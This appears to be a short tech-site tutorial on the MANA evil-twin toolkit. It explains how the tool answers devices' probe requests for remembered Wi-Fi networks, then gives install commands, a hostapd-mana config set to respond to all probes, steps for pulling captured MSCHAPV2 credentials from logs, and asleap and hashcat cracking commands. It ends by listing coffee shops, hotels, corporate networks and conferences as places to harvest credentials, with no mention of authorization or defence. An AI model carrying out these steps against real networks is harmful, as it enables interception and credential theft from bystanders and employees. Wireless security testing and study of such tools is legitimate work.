Techzone/MANA Toolkit

MANA Toolkit

2 min readArticle

MANA is an evil twin / rogue AP toolkit built on top of hostapd-wpe (WPA/WPA2 Enterprise credential capture). It was created by SensePost and is designed to respond to probe requests from devices looking for remembered networks — essentially an advanced KARMA attack implementation. MANA makes devices think they found a network they trust.

How MANA Works

  1. A device probes for known networks (broadcasts SSIDs it has connected to before)
  2. MANA intercepts these probes and responds to ALL of them, pretending to be each remembered network
  3. Device auto-connects (it thinks it found its trusted network)
  4. MANA captures credentials, performs MitM, or funnels traffic

MANA vs Basic KARMA

Feature Basic KARMA MANA
Responds to probes Yes Yes
WPA Enterprise capture No Yes (hostapd-wpe)
Credential harvesting Limited Built-in
SSID targeting Basic Advanced

Installation

bash 
# Clone the toolkit
git clone https://github.com/sensepost/mana

cd mana

# Install dependencies
apt install hostapd-wpe dnsmasq apache2

# Run setup
./run-mana.sh

Configuration Files

Key configs are in hostapd-mana/:

bash 
# Main config
nano hostapd-mana/mana.conf

# Key settings
interface=wlan0        # Your wireless interface
ssid=FreeWifi         # Broadcast SSID
channel=6
hw_mode=g
enable_mana=1          # Enable MANA mode
mana_loud=1            # Respond to ALL probes

Starting MANA

bash 
# Put adapter in monitor mode first
airmon-ng start wlan0

# Start MANA
cd mana
./run-mana.sh

# Or manually
hostapd mana.conf

Capturing WPA Enterprise Credentials

MANA + hostapd-wpe captures MSCHAPV2 credentials from WPA Enterprise (PEAP/EAP):

bash 
# Captured credentials appear in:
cat /var/log/hostapd.log | grep "MSCHAPV2"

# Or in hostapd-wpe log
cat hostapd-wpe.log

After capturing MSCHAPV2 hashes, crack with:

bash 
# Crack with asleap
asleap -C <challenge> -R <response> -W rockyou.txt

# Or hashcat mode 5500
hashcat -m 5500 captured_hash.txt rockyou.txt

MANA Attack Scenarios

  • Coffee shop / hotel — intercept guests auto-connecting
  • Corporate WPA Enterprise capture — get domain credentials
  • Conference venues — high density of mobile devices with remembered SSIDs

See Also

  • future-of-tech-emerging-trends-2023 - KARMA attack overview
  • wifi-pineapple-guide - Hardware platform that runs similar attacks
  • honeypot - Related deceptive AP concepts
techzonesite.comUnlock Your IT Potential